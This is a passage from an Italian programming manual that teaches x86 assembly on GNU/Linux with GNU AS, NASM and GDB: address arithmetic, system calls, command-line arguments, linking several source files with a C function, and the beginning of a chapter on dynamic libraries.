    mov   edi, esi            ; EDI := ESI - 1
    inc   edi                 ;
f_bs_loop_2:
    cmp   edi, [bs_z+ebp]     ; Se EDI > z, termina.
    ja    f_bs_end_loop_2     ;
    ;
    mov   eax, [edx+esi*4]    ; Se EBX < EAX scambia i valori.
    mov   ebx, [edx+edi*4]    ;
```

```
    cmp   ebx, eax            ;
    jl    f_bs_scambio        ;
f_bs_loop_2_inc_edi:
    inc   edi                 ; EDI++
    jmp   f_bs_loop_2         ;
f_bs_scambio:
    mov   [edx+edi*4], eax    ; lista[ESI] :==: lista[EDI]
    mov   [edx+esi*4], ebx    ;
    jmp   f_bs_loop_2         ;
f_bs_end_loop_2:
    inc   esi                 ; ESI++
    jmp   f_bs_loop_1         ;
f_bs_end_loop_1:
    popa
    leave
    ret
```

Per verificare il funzionamento del programma si deve usare necessariamente GDB. Inizialmente, prima di mettere in esecuzione il programma, si vede l'array nel suo stato originale:

(gdb) **print (int[10])lista** [*Invio*]

```
$1 = {1, 4, 3, 7, 9, 10, 22, 44, 11, 23}
```

Si fissa quindi uno stop e si avvia il programma:

(gdb) **break bp1** [*Invio*]

(gdb) **run** [*Invio*]

Quando il programma viene sospeso in corrispondenza di '**bp1**', l'array è ordinato:

(gdb) **print (int[10])lista** [*Invio*]

```
$1 = {1, 3, 4, 7, 9, 10, 11, 22, 23, 44}
```

75.15 Calcoli con gli indirizzi in fase di compilazione

Attraverso le funzionalità del compilatore è possibile calcolare la distanza tra due indirizzi, espressa in byte. È anche possibile fare riferimento all'indirizzo attuale, attraverso un simbolo predefinito. Nelle sezioni successive vengono mostrati alcuni esempi per dimostrare l'uso di queste funzionalità.

75.15.1 Distanza tra due indirizzi

L'esempio seguente serve a dimostrare come il compilatore possa calcolare la distanza tra due indirizzi, contrassegnati da dei simboli, inizializzando con tale valore calcolato una variabile globale. In pratica, viene calcolata la grandezza complessiva in byte di un array di numeri interi; grandezza che viene poi emessa come valore di uscita.

```
#
.section .data
lista:  .int    1, 4, 3, 7, 9, 10, 22, 44, 11, 23
z:      .int    (z - lista)
#
.section .text
.globl _start
#
_start:
    mov   z,  %ebx
    mov   $1, %eax
    int   $0x80
```

```
;
section .data
lista:  dd      1, 4, 3, 7, 9, 10, 22, 44, 11, 23
z:      dd      (z - lista)
;
section .text
global _start
;
_start:
    mov   ebx, [z]
    mov   eax, 1
    int   0x80
```

Il significato dell'istruzione è intuitivo: alla variabile '**z**' si assegna la differenza tra gli indirizzi utilizzati da '**lista**' a '**z**'. In questo caso, il risultato che si ottiene è 40, dal momento che si contano 10 valori da 4 byte ciascuno. Eventualmente, si può fare riferimento alla posizione attuale in modo differente, in questo caso significa sostituire il riferimento esplicito alla variabile '**z**' con un riferimento implicito:

```
…
lista:  .int    1, 4, 3, 7, 9, 10, 22, 44, 11, 23
z:      .int    (. - lista)
…
```

```
…
lista:  dd      1, 4, 3, 7, 9, 10, 22, 44, 11, 23
z:      dd      ($ - lista)
…
```

Si possono anche fare dei calcoli più complessi, come nel caso dell'esempio seguente in cui si determina l'indice superiore dell'array. Il risultato che si ottiene è nove, dal momento che l'indice del primo elemento deve essere zero.

```
…
lista:  .int    1, 4, 3, 7, 9, 10, 22, 44, 11, 23
z:      .int    (z - lista) / 4 - 1
…
```

```
…
lista:  dd      1, 4, 3, 7, 9, 10, 22, 44, 11, 23
z:      dd      (z - lista) / 4 - 1
…
```

75.15.2 Riempimento di spazio inutilizzato

In certe situazioni è necessario riempire una certa area di memoria (o di codice) in modo che complessivamente occupi una dimensione data. Questo procedimento si usa specialmente quando si genera un file binario, privo di formato (come nel caso di un settore di avvio), che deve avere una dimensione stabilita e che in una certa posizione deve contenere un'impronta determinata. Qui viene dimostrato il concetto intervenendo solo nell'area della memoria che viene inizializzata.

```
#
.section .data
lista:  .int    1, 4, 3, 7, 9, 10, 22, 44, 11, 23
        .skip (0x30 - (. - lista)), 0xFF
#
.section .text
.globl _start
#
_start:
    mov   $0, %ebx
    mov   $1, %eax
    int   $0x80
```

```
;
section .data
lista:  dd      1, 4, 3, 7, 9, 10, 22, 44, 11, 23
times   (30h - ($ - lista))  db  0xFF
;
section .text
global _start
;
_start:
    mov   ebx, 0
    mov   eax, 1
    int   0x80
```

In questo caso, dopo la definizione dell'array, si richiede al compilatore di allocare altro spazio di memoria, in modo da occupare complessivamente 48 byte (30_{16}), riempiendo lo spazio

ulteriore con caratteri FF_{16}. Naturalmente, il valore complessivo dello spazio da utilizzare può essere espresso in qualunque base di numerazione; in questo caso, la scelta di rappresentare in base sedici è motivata dal fatto che con NASM non si può usare la forma consueta (non si può scrivere '`0x30`'), perché si otterrebbe un risultato differente, a causa di un errore di interpretazione da parte del compilatore.

In quasi tutti gli esempi di questo capitolo, realizzati per il compilatore NASM, si usa la notazione '**0x*nn*...**' per esprimere un numero in base sedici. Generalmente l'interpretazione da parte di NASM è corretta, ma nella situazione particolare mostrata, il compilatore si confonde e riconosce solo la forma '***nn*...h**'.

Dal momento che l'array occupa già 40 byte, vengono aggiunti semplicemente 8 byte, pari a due gruppi da 32 bit:

(gdb) **print /x (int[12])lista** [*Invio*]

```
$1 = {0x1, 0x4, 0x3, 0x7, 0x9, 0xa, 0x16, 0x2c, 0xb, 0x17, 0xffffffff,
  0xffffffff}
```

75.16 Interazione con il sistema operativo

È possibile gestire un certo grado di comunicazione tra il programma in linguaggio assemblatore e il sistema GNU/Linux. In particolare si possono ottenere i parametri della chiamata del programma (gli argomenti della riga di comando) ed è possibile chiamare delle funzioni di sistema attraverso delle «interruzioni».

75.16.1 Parametri di chiamata del programma

All'avvio del programma, questo riceve una pila contenente il numero degli argomenti della riga di comando (nome del programma incluso), il nome del programma che è stato avviato e quindi gli argomenti stessi. Si può realizzare un sorgente molto semplice per l'indagine con GDB:

```
.section .text
.globl _start
_start:
    mov   %esp, %ebp
bp1:
    mov   $0, %ebx     # Restituisce zero.
    mov   $1, %eax     #
    int   $0x80        #
```

```
section .text
global _start
_start:
    mov   ebp, esp
bp1:
    mov   ebx, 0    ; Restituisce zero.
    mov   eax, 1    ;
    int   0x80      ;
```

Supponendo che il programma compilato si chiami '**argomenti**', lo si avvia sotto il controllo di GDB nello stesso modo di sempre:

`$` **`gdb argomenti`** [*Invio*]

Gli argomenti del programma vanno passati necessariamente attraverso un comando di GDB:

`(gdb)` **`set args 1 2 3 4 "ciao amore"`** [*Invio*]

Si fissa il punto di sospensione del programma e quindi si avvia:

`(gdb)` **`break bp1`** [*Invio*]

`(gdb)` **`run`** [*Invio*]

Il programma viene sospeso in corrispondenza del simbolo '**bp1**' e si può consultare la pila, o più precisamente lo *stack frame* della pila:

`(gdb)` **`backtrace`** [*Invio*]

```
#0  bp1 () at argomenti.s:6
#1  0x00000006 in ?? ()
#2  0xbfeb1a89 in ?? ()
#3  0xbfeb1a98 in ?? ()
#4  0xbfeb1a9a in ?? ()
#5  0xbfeb1a9c in ?? ()
#6  0xbfeb1a9e in ?? ()
#7  0xbfeb1aa0 in ?? ()
#8  0x00000000 in ?? ()
```

In questa situazione non sono presenti variabili locali; quindi, nella pila, dopo l'indirizzo corrispondente al simbolo '**bp1**' (che si trova lì solo perché si sta usando GDB ed è stato sospeso il corso del programma), appare la quantità di argomenti (sei); gli elementi successivi contengono dei puntatori alle stringhe che rappresentano i vari argomenti ricevuti (si osservi che gli argomenti sono rappresentati tutti in forma di stringa), stringhe che sono tutte terminate con un byte a zero. Per leggere gli argomenti con GDB si devono fare dei tentativi; qui vengono indicate le dimensioni esatte, ma se si usano dimensioni maggiori si possono vedere delle porzioni degli argomenti successivi:

`(gdb)` **`print (char[33])*0xbfeb1a89`** [*Invio*]

```
$1 = "/tmp/argomenti\0001\0002\0003\0004\000ciao amore"
```

In questo caso si legge il primo argomento, ma usando una dimensione eccessiva, si vedono di seguito anche gli altri, separati dai vari byte a zero, rappresentati con la sequenza '`\000`'. Il primo argomento da solo sarebbe:

```
(gdb) print (char[14])*0xbfeb1a89 [Invio]

  $2 = "/tmp/argomenti"
```

Gli altri argomenti:

```
(gdb) print (char[1])*0xbfeb1a98 [Invio]

  $3 = "1"

(gdb) print (char[1])*0xbfeb1a9a [Invio]

  $4 = "2"

(gdb) print (char[1])*0xbfeb1a9c [Invio]

  $5 = "3"

(gdb) print (char[1])*0xbfeb1a9e [Invio]

  $6 = "4"

(gdb) print (char[9])*0xbfeb1aa0 [Invio]

  $7 = "ciao amore"

(gdb) quit [Invio]
```

75.16.2 Funzioni del sistema operativo

Si accede alle funzioni offerte dal sistema operativo attraverso quella che è nota come «interruzione software» (*interrupt*) e si genera con l'istruzione '`INT`'. Per la precisione, in un sistema GNU/Linux occorre l'interruzione 80_{16} (128_{10}), come è stato mostrato in tutti gli esempi apparsi fino a questo punto. Per selezionare il tipo di funzione e per passarle degli argomenti si usano i registri in questo modo:

Registro	Utilizzo
EAX	Contiene il numero che rappresenta la funzione di sistema.
EBX	Primo parametro della funzione.
ECX	Secondo parametro della funzione.
EDX	Terzo parametro della funzione.
ESI	Quarto parametro della funzione.
EDI	Quinto parametro della funzione.

Se la funzione deve restituire un valore, questo viene ottenuto attraverso il registro ***EAX***.

Per una mappa completa delle chiamate di sistema si può consultare ⟨*http://web.archive.org/web/*

/www.lxhp.in-berlin.de/lhpsysc0.html ⟩, come annotato nei riferimenti alla fine del capitolo. Qui vengono mostrate delle tabelle riepilogative di alcune funzioni importanti.

Pagina di manuale	Descrizione	***EAX***	***EBX***	***ECX***	***EDX***
exit(2)	Conclude il funzionamento del programma restituendo un valore.	1	Valore da restituire: numero intero compreso tra zero e 255.		
read(2)	Legge da un descrittore di file e mette i dati letti in una memoria tampone. Attraverso ***EAX*** restituisce la quantità di byte letta effettivamente e aggiorna il puntatore del file per la lettura successiva.	3	Descrittore del file da leggere.	Indirizzo iniziale della memoria tampone.	Dimensione in byte della memoria tampone.
write(2)	Scrive il contenuto di una memoria tampone in un descrittore di file. Attraverso ***EAX*** restituisce la quantità di byte scritta effettivamente.	4	Descrittore del file da scrivere.	Indirizzo iniziale della memoria tampone.	Dimensione in byte della memoria tampone.

75.16.3 Esempi di lettura e scrittura con i flussi standard

Di solito, il primo programma che si scrive è quello che visualizza un messaggio e termina, ma in questo caso, un'operazione così semplice sul piano teorico, in pratica è già abbastanza complicata. Quello che segue è un programma che, avvalendosi di una chiamata di sistema, visualizza un messaggio attraverso lo standard output. Come si può osservare, si utilizza anche una tecnica per far calcolare al compilatore la lunghezza della stringa da visualizzare.

```
#
.equ SYS_EXIT,  1               # exit(2)
.equ SYS_WRITE, 4               # write(2)
.equ STDOUT,    1               # Descrittore di standard output.
#
.section .data                  # Qui si dichiara la stringa da
msg:  .ascii "Ciao a tutti!\n"  # visualizzare, calcolandone la
size = . - msg                  # dimensione.
#
.section .text
.globl _start
_start:
    mov   $SYS_WRITE, %eax      # Scrive nello standard output.
    mov   $STDOUT,    %ebx      #
    mov   $msg,       %ecx      #
    mov   $size,      %edx      #
    int   $0x80
exit:
```

```
    mov   $SYS_EXIT,  %eax      # Conclude il funzionamento.
    mov   $0,         %ebx      #
    int   $0x80
```

```
;
SYS_EXIT   equ     1            ; exit(2)
SYS_WRITE  equ     4            ; write(2)
STDOUT     equ     1            ; Descrittore di standard output.
;
section .data                   ; Qui si dichiara la stringa da
msg:  db  "Ciao a tutti!", 0x0A ; visualizzare, calcolandone la
size  equ $ - msg               ; dimensione.
;
section text
global _start
_start:
    mov   eax, SYS_WRITE        ; Scrive nello standard output.
    mov   ebx, STDOUT           ;
    mov   ecx, msg              ;
    mov   edx, size             ;
    int   0x80
exit:
    mov   eax, SYS_EXIT         ; Conclude il funzionamento.
    mov   ebx, 0                ;
    int   0x80
```

Segue un esempio di programma che legge dallo standard input e scrive ciò che ha letto attraverso lo standard output. Come già nell'esempio precedente, vengono dichiarate inizialmente delle costanti per semplificare la lettura del codice; inoltre vengono usate aree di memoria non inizializzate e delle funzioni banali senza parametri, per le quali non si utilizzano variabili locali. Si mostrano due listati, uno adatto per GNU AS e l'altro per NASM.

```
#
.equ SYS_EXIT,  1               # exit(2)
.equ SYS_READ,  3               # read(2)
.equ SYS_WRITE, 4               # write(2)
.equ STDIN,     0               # Descrittore di standard input.
.equ STDOUT,    1               # Descrittore di standard output.
.equ STDERR,    2               # Descrittore di standard error.
.equ MAX_SIZE,  1000            # Dimensione massima dei dati da leggere.
#
.section .data                  # Non ci sono variabili già inizializzate.
#
.section .bss
.lcomm record, MAX_SIZE         # Memoria tampone per la lettura dei dati.
.lcomm size, 4                  # Quantità di byte letti effettivamente.
#
.section .text
```

```
.globl _start
_start:
read_write_begin:
    call  read                  # Legge dallo standard input.
    cmp   $0, %eax              # Se sono stati letti zero byte,
    jz    read_write_end        # il ciclo termina.
    call  write                 # Scrive i byte letti nello standard output.
    jmp   read_write_begin      # Ripete il ciclo.
read_write_end:
    jmp   exit
read:
    mov   $SYS_READ,  %eax      # Legge dallo standard input.
    mov   $STDIN,     %ebx      #
    mov   $record,    %ecx      #
    mov   $MAX_SIZE,  %edx      #
    int   $0x80
    mov   %eax,       size      # Salva la dimensione letta effettivamente.
    ret
write:
    mov   $SYS_WRITE, %eax      # Scrive nello standard output.
    mov   $STDOUT,    %ebx      #
    mov   $record,    %ecx      #
    mov   size,       %edx      #
    int   $0x80
    ret
exit:
    mov   $SYS_EXIT,  %eax      # Conclude il funzionamento.
    mov   $0,         %ebx      #
    int   $0x80
```

```
;
SYS_EXIT   equu     1           ; exit(2)
SYS_READ   equ     3            ; read(2)
SYS_WRITE  equ     4            ; write(2)
STDIN      equ     0            ; Descrittore di standard input.
STDOUT     equ     1            ; Descrittore di standard output.
STDERR     equ     2            ; Descrittore di standard error.
MAX_SIZE   equ  1000            ; Dimensione massima dei dati da leggere.
;
section .data                   ; Non ci sono variabili già inizializzate.
;
section .bss
record resb MAX_SIZE            ; Memoria tampone per la lettura dei dati.
size   resd 1                   ; Quantità di byte letti effettivamente.
;
section .text
global _start
_start:
read_write_begin:
    call  read                  ; Legge dallo standard input.
    cmp   eax, 0                ; Se sono stati letti zero byte,
    jz    read_write_end        ; il ciclo termina.
```

```
    call  write                 ; Scrive i byte letti nello standard output.
    jmp   read_write_begin      ; Ripete il ciclo.
read_write_end:
    jmp   exit
read:
    mov   eax, SYS_READ         ; Legge dallo standard input.
    mov   ebx, STDIN            ;
    mov   ecx, record           ;
    mov   edx, MAX_SIZE         ;
    int   0x80
    mov   [size], eax           ; Salva la dimensione letta effettivamente.
    ret
write:
    mov   eax, SYS_WRITE        ; Scrive nello standard output.
    mov   ebx, STDOUT           ;
    mov   ecx, record           ;
    mov   edx, [size]           ;
    int   0x80
    ret
exit:
    mov   eax, SYS_EXIT         ; Conclude il funzionamento.
    mov   ebx, 0                ;
    int   0x80
```

75.17 Riferimenti

- *Intel 80386 Reference Programmer's Manual*
  ⟨http://pdos.csail.mit.edu/6.828/2006/readings/i386/toc.htm ⟩
  - *80386 Instruction Set*
    ⟨http://pdos.csail.mit.edu/6.828/2006/readings/i386/c17.htm ⟩
- *Using Assembly Language in Linux*
  ⟨http://asm.sourceforge.net/articles/linasm.html ⟩
- Norman Matloff, *Introduction to Linux Intel Assembly Language*
  ⟨http://heather.cs.ucdavis.edu/~matloff/50/LinuxAssembly.html ⟩
- H.-Peter Recktenwald, *i386-PC-Linux System Calls*, 2000
  ⟨http://web.archive.org/web/*/www.lxhp.in-berlin.de/lhpsysc.html ⟩
  ⟨http://web.archive.org/web/*/www.lxhp.in-berlin.de/lhpsysc0.html ⟩

[1] **GNU Binutils** GNU GPL

[2] **NASM** GNU LGPL

[3] **GNU Binutils** GNU GPL

[4] **GDB** GNU GPL

[5] **DDD** GNU GPL

[6] Il formato ELF prevede altri tipi di sezione, ma quelle di uso più frequente sono rappresentate nel modello sintattico.

[7] Evidentemente, il valore di uscita viene espresso in base otto: 24_8 è uguale a 20_{10}.

[8] Dipende dal compilatore se è possibile limitare effettivamente l'uso al solo registro ***CX***.

[9] L'indirizzo di memoria da raggiungere con l'istruzione '`CALL`', può essere fornito in modo «immediato», attraverso l'indicazione di un simbolo, oppure con un registro o con un indirizzo di memoria. Nell'ipotesi di un registro o di un indirizzo di memoria, si intende che il contenuto del registro o della variabile in memoria vadano considerati come l'indirizzo di destinazione della chiamata.

[10] Nel caso di un valore in virgola mobile, il risultato potrebbe essere atteso dal registro ***ST0***, ma la gestione della virgola mobile non viene affrontata in questo capitolo.

Capitolo 76

Compilazione e formato binario eseguibile

76.1 Compilazione di programmi composti da più file sorgenti 4346

76.1.1 Inclusione di file 4347
76.1.2 Due file sorgenti da collegare assieme 4347
76.1.3 Incorporazione di codice in linguaggio C 4351

76.2 Librerie dinamiche e librerie statiche 4352

76.2.1 Il processo di «collegamento» dinamico 4353
76.2.2 Creazione di una libreria dinamica 4353
76.2.3 Creare un programma che utilizza una libreria dinamica 4357
76.2.4 Creare un file che utilizza una libreria dinamica standard 4359
76.2.5 Librerie statiche 4361

76.3 Dal sorgente all'immagine in memoria 4361

76.3.1 File oggetto 4361
76.3.2 File eseguibile 4363
76.3.3 Immagine del processo nella memoria virtuale 4365
76.3.4 Allineamento dei segmenti in memoria 4367
76.3.5 Script per il collegamento 4367
76.3.6 Osservazioni sui simboli 4371
76.3.7 Formati dei file oggetto 4373

76.4 Formato ELF 4373

76.4.1 Sezioni e segmenti 4373
76.4.2 Intestazione ELF 4374
76.4.3 Descrizione dei segmenti 4376
76.4.4 Definizione manuale di un formato ELF 4377
76.4.5 Esempio più complesso 4381

76.5 Programmi completamente autonomi 4383

76.5.1 Le specifiche «multiboot» 4383
76.5.2 Esempio di programma da avviare secondo le specifiche «multiboot» . . . 4387
76.5.3 Visualizzazione di messaggi 4389
76.5.4 Colori dello schermo 4396

76.6 Compilazione C dal basso in alto 4397

76.6.1 Compilazione di un programma che non fa uso di librerie 4397
76.6.2 Uso di GDB e di DDD 4400
76.6.3 Da «_start» a «main» 4403
76.6.4 Compilazione naturale di un programma in linguaggio C 4405

76.7 Compilazione C dall'alto in basso 4406
76.7.1 Le fasi della compilazione 4406
76.7.2 Precompilatore 4407
76.7.3 Compilazione dei file intermedi 4408
76.7.4 L'uso di librerie 4408
76.7.5 Librerie statiche e librerie dinamiche 4409
76.7.6 L'ordine dei file e delle librerie nella compilazione 4410
76.7.7 Prevenzione e ricerca degli errori 4410
76.7.8 Problemi con l'ottimizzazione 4412
76.8 Compilazione guidata con Make 4414
76.8.1 Obiettivo, dipendenze e comandi 4414
76.8.2 Obiettivi fittizi 4416
76.8.3 Scelta dell'obiettivo 4417
76.8.4 Interpretazione dei comandi che portano a un obiettivo 4418
76.8.5 Variabili o «macro» 4419
76.8.6 Utilizzo oculato delle variabili 4422
76.8.7 Espansione e continuazione al di fuori dei comandi 4423
76.8.8 Variabili automatiche 4424
76.8.9 Regole implicite 4425
76.8.10 Uno script per ogni sottodirectory 4426
76.8.11 Una regola per più obiettivi 4427
76.8.12 Regole fittizie tipiche 4428
76.8.13 Variabili per l'installazione 4429
76.8.14 Definizione della shell 4430
76.8.15 Installazione dei programmi 4430
76.9 Riferimenti 4430

76.1 Compilazione di programmi composti da più file sorgenti

Per poter compilare un programma distribuito tra più file sorgenti, all'interno di questi file occorre dichiarare quali simboli (riferiti a variabili e funzioni) devono essere pubblici e come tali accessibili anche dagli altri; inoltre, nei file in cui si fa riferimento a simboli esterni, occorre dichiarare questa dipendenza.

76.1.1 Inclusione di file

Prima di affrontare il problema del collegamento di più file oggetto in un file eseguibile singolo, conviene considerare l'inclusione automatica del contenuto di un file. In altri termini, si può ottenere una funzione simile al «copia-incolla», dichiarando in un file che, in un certo punto, va incluso il contenuto di un altro. Per esempio, per incorporare in un certo punto, il contenuto del file '`funzioni.s`', occorre scrivere la direttiva seguente:

```
...
; GNU AS
.include "funzioni.s"
...
```

```
...
; NASM
%include "funzioni.s"
...
```

Naturalmente, il file '`funzioni.s`' contiene qualcosa che si può copiare e incollare, tale e quale, in quel certo punto del sorgente che vi fa riferimento.

Il file in questione viene cercato nella directory corrente, ma nella riga di comando di GNU AS è possibile aggiungere l'opzione '**`-I`**' per indicare altri percorsi di ricerca; nello stesso modo, con NASM si può usare l'opzione '**`-i`**':

$ **`as -I`** ***directory*** ... [*Invio*]

$ **`nasm -i`** ***directory*** ... [*Invio*]

76.1.2 Due file sorgenti da collegare assieme

Per dimostrare come si gestiscono più file sorgenti assieme, viene mostrato un esempio molto semplice, composto da due soli file: nel primo si trova la funzione '**`_start`**'; nel secondo si trova la funzione '**`f_rs`**' che esegue una ricerca sequenziale all'interno di un array (nella sezione 75.14.1 si vede lo stesso programma, tutto intero, in un file unico). I due listati seguenti sono realizzati per GNU AS:

```
# rs-main.s
#
.section .data
lista:  .int    1, 4, 3, 7, 9, 10, 22, 44, 11, 23   # Interi senza segno.
a:      .int    0                                   # Indice minimo.
z:      .int    9                                   # Indice massimo.
#
.section .text
.globl _start
.extern f_rs
#
_start:
```

```
    push  z                 # f_rs ($lista, $7, a, z) ==> EAX
    push  a                 # Si cerca il valore 7 nell'array
    push  $7                # «lista», tra gli indici «a» e «z».
    push  $lista            # Viene restituito l'indice dell'elemento
    call  f_rs              # trovato, oppure -1 se non è presente.
    add   $16, %esp         #
bp1:
    mov   %eax, %ebx        # Restituisce l'indice trovato,
    mov   $1, %eax          # ammesso che sia abbastanza piccolo
    int   $0x80             # da poter essere rappresentato come
                            # valore di uscita.
```

```
# rs-f.s
#
.section .data
#
.section .text
.globl f_rs
#
# Ricerca sequenziale all'interno di una lista di valori.
# f_rs (lista, x, a, z) ==> EAX
# Al termine EAX contiene l'indice del valore trovato,
# oppure -1 se questo non c'è.
#
f_rs:
    enter $4, $0
    pusha
    .equ  rs_i,     -4          # Gli si associa EAX.
    .equ  rs_lista,  8          # Gli si associa ESI.
    .equ  rs_x,     12          # Gli si associa EDX.
    .equ  rs_a,     16
    .equ  rs_z,     20
    #
    mov   rs_lista(%ebp), %esi   # ESI contiene l'indirizzo dell'array.
    mov   rs_x(%ebp),     %edx   # EDX contiene il valore cercato.
    #
    mov   rs_a(%ebp),     %eax   # EAX viene usato come indice di scansione.
f_rs_loop:
    cmp   rs_z(%ebp),     %eax   # Se EAX è maggiore dell'indice massimo,
    ja    f_rs_non_trovato       # l'elemento cercato non c'è.
    #
    cmp   (%esi,%eax,4),  %edx   # Se il valore cercato corrisponde a quello
    je    f_rs_trovato           # dell'indice corrente, termina la scansione.
    #
    inc   %eax                   # Incrementa l'indice di scansione e
    jmp   f_rs_loop              # salta all'inizio del ciclo.
    #
f_rs_non_trovato:
    popa                    # Conclude la funzione con EAX = -1.
    mov $-1, %eax           #
    leave                   #
    ret                     #
```

```
f_rs_trovato:
    mov %eax, rs_i(%ebp)    # Salva EAX nella variabile locale prevista.
    popa                    # Conclude la funzione con EAX pari
    mov rs_i(%ebp), %eax    # al valore salvato nella variabile
    leave                   # locale.
    ret                     #
```

Nel primo dei due listati, corrispondente al file '`rs-main.s`', si deve osservare la dichiarazione esterna del simbolo '**`f_rs`**', corrispondente al nome della funzione contenuta nel file '`rs-f.s`'.

```
...
.section .text
.globl _start
.extern f_rs
...
```

Dal momento che i dati necessari all'elaborazione vengono passati alla funzione attraverso i parametri della chiamata, a parte '**`_start`**', non ci sono altre dichiarazioni di simboli pubblici nel file '`f-main.s`'. Nel secondo listato, corrispondente al file '`rs-f.s`', il simbolo '**`f_rs`**' viene reso pubblico, per consentire al file '`rs-main.s`' di farvi riferimento.

```
...
.section .text
.globl f_rs
...
```

Seguono gli stessi due listati, nella versione adatta a NASM:

```
; rs-main.s
;
section .data
lista:  dd    1, 4, 3, 7, 9, 10, 22, 44, 11, 23       ; Interi senza segno.
a:      dd    0                                       ; Indice minimo.
z:      dd    9                                       ; Indice massimo.
;
section .text
global _start
extern f_rs
;
_start:
    push  long [z]         ; f_rs ($lista, $7, a, z) ==> EAX
    push  long [a]         ; Si cerca il valore 7 nell'array
    push  long 7           ; «lista», tra gli indici «a» e «z».
    push  lista            ; Viene restituito l'indice dell'elemento
    call  f_rs             ; trovato, oppure -1 se non è presente.
    add   esp, 16          ;
bp1:
    mov   ebx, eax         ; Restituisce l'indice trovato,
```

```
    mov   eax, 1           ; ammesso che sia abbastanza piccolo
    int   0x80             ; da poter essere rappresentato come
                           ; valore di uscita.
```

```
; rs-f.s
;
section .data
;
section .text
global f_rs
;
; Ricerca sequenziale all'interno di una lista di valori.
; f_rs (lista, x, a, z) ==> EAX
; Al termine EAX contiene l'indice del valore trovato,
; oppure -1 se questo non c'è.
;
f_rs:
    enter 4, 0
    pusha
    rs_i     equ -4              ; Gli si associa EAX.
    rs_lista equ  8              ; Gli si associa ESI.
    rs_x     equ 12              ; Gli si associa EDX.
    rs_a     equ 16
    rs_z     equ 20
    ;
    mov   esi, [rs_lista+ebp]    ; ESI contiene l'indirizzo dell'array.
    mov   edx, [rs_x+ebp]        ; EDX contiene il valore cercato.
    ;
    mov   eax, [rs_a+ebp]        ; EAX viene usato come indice di scansione.
f_rs_loop:
    cmp   eax, [rs_z+ebp]        ; Se EAX è maggiore dell'indice massimo,
    ja    f_rs_non_trovato       ; l'elemento cercato non c'è.
    ;
    cmp   edx, [esi+eax*4]       ; Se il valore cercato corrisponde a quello
    je    f_rs_trovato           ; dell'indice corrente, termina la scansione.
    ;
    inc   eax                    ; Incrementa l'indice di scansione e
    jmp   f_rs_loop              ; salta all'inizio del ciclo.
    ;
f_rs_non_trovato:
    popa                   ; Conclude la funzione con EAX = -1.
    mov eax, -1            ;
    leave                  ;
    ret                    ;
f_rs_trovato:
    mov [rs_i+ebp], eax    ; Salva EAX nella variabile locale prevista.
    popa                   ; Conclude la funzione con EAX pari
    mov eax, [rs_i+ebp]    ; al valore salvato nella variabile
    leave                  ; locale.
    ret                    ;
```

In questo caso, le direttive salienti sono, rispettivamente:

```
...
section .text
global _start
extern f_rs
...
```

```
...
section .text
global f_rs
...
```

Per compilare il tutto in un solo file eseguibile, occorre procedere secondo i comandi seguenti. Nel caso di GNU AS:

$ **as --gstabs -o rs-main.o rs-main.s** [*Invio*]

$ **as --gstabs -o rs-f.o rs-f.s** [*Invio*]

$ **ld -o rs rs-main.o rs-f.o** [*Invio*]

Nel caso di NASM:

$ **nasm -g -f elf -o rs-main.o rs-main.s** [*Invio*]

$ **nasm -g -f elf -o rs-f.o rs-f.s** [*Invio*]

$ **ld -o rs rs-main.o rs-f.o** [*Invio*]

Questo programma restituisce l'indice dell'elemento cercato e trovato nell'array. In questo caso, si tratta del quarto elemento che corrisponde all'indice 3:

$ **./rs ; echo $?** [*Invio*]

```
3
```

76.1.3 Incorporazione di codice in linguaggio C

Per collegare assieme sorgenti scritti in linguaggi differenti, si agisce in modo analogo a quanto già mostrato per il solo linguaggio assemblatore. C'è però da considerare che ogni compilatore ha le proprie caratteristiche, sia per ciò che riguarda le convenzioni di chiamata delle funzioni, sia per il modo di nominare i simboli associati alle funzioni stesse. Nel caso di GCC (*GNU compiler collection*), valgono le convenzioni di chiamata comuni e i nomi delle funzioni non vengono modificati.

Qui si mostra un listato, in linguaggio C, da usare in sostituzione del file '`rs-f.s`' descritto nella sezione precedente:

```
/* f_rs (<lista>, <x>, <ele-inf>, <ele-sup>) */

int f_rs (int lista[], int x, int a, int z)
{
    int i;

    /* Scandisce l'array alla ricerca dell'elemento. */

    for (i = a; i <= z; i++)
      {
        if (x == lista[i])
          {
            return i;
          }
      }

    /* La corrispondenza non è stata trovata. */

    return -1;
}
```

Per compilare questo file e generare un file oggetto, ammesso che il sorgente si chiami '`rs-f.c`', si procede con il comando seguente:

$ **`cc -c -o rs-f.o rs-f.c`**[*Invio*]

Il collegamento con il file '`rs-main.o`' avviene nel modo già visto:

$ **`ld -o rs rs-main.o rs-f.o`**[*Invio*]

76.2 Librerie dinamiche e librerie statiche

La compilazione dei programmi, secondo quanto descritto in precedenza, genera sempre file eseguibili «completi», in quanto incorporano tutto il codice necessario al proprio funzionamento. Oltre che suddividere il sorgente in file separati, da riunire assieme in un file eseguibile unico, è possibile costruire una libreria di funzioni, a cui i programmi accedono dopo essere stati avviati, senza incorporarne il codice. Un libreria di questo genere è nota come ***libreria dinamica***, in quanto richiede la creazione di un «collegamento» (*link*) istantaneo, mentre il programma che la richiede è in funzione.

Il concetto di libreria dinamica si contrappone a quello di ***libreria statica***, la quale comporta l'inclusione del proprio codice nel file eseguibile, in fase di compilazione.

76.2.1 Il processo di «collegamento» dinamico

Il programma eseguibile che ha bisogno di utilizzare una libreria dinamica, si avvale di un altro programma che a sua volta deve eseguire il «collegamento dinamico» (*dynamic link*). Il nome di questo collegatore dinamico viene definito in fase di compilazione del primo programma e in un sistema GNU/Linux è costituito generalmente dal file '`/lib/ld-linux.so.2`'. A sua volta, il collegatore dinamico cerca il file contenente la libreria richiesta dal programma in un gruppo di directory che solitamente sono '`/lib/`', '`/usr/lib/`' e altre, secondo la configurazione contenuta nel file '`/etc/ld.so.conf`'.

Il file '`/etc/ld.so.conf`' deve essere elaborato attraverso il programma '**`ldconfig`**' che a sua volta produce il file '`/etc/ld.so.cache`', il quale viene interpellato effettivamente da '`/lib/ld-linux.so.2`'. Pertanto, quando si modifica il file '`/etc/ld.so.conf`', occorre ricordarsi di riavviare '**`ldconfig`**'.

Se esiste la variabile di ambiente '**`LD_LIBRARY_PATH`**', i file delle librerie vengono cercati nei percorsi che questa contiene. Per esempio, per utilizzare i file contenuti nella directory corrente, continuando eventualmente in altre directory consuete, basta assegnare il percorso '`.`', seguito dagli altri a cui si è interessati:

```
$ export LD_LIBRARY_PATH=".:/lib:/usr/lib:/usr/local/lib" [Invio]
```

76.2.2 Creazione di una libreria dinamica

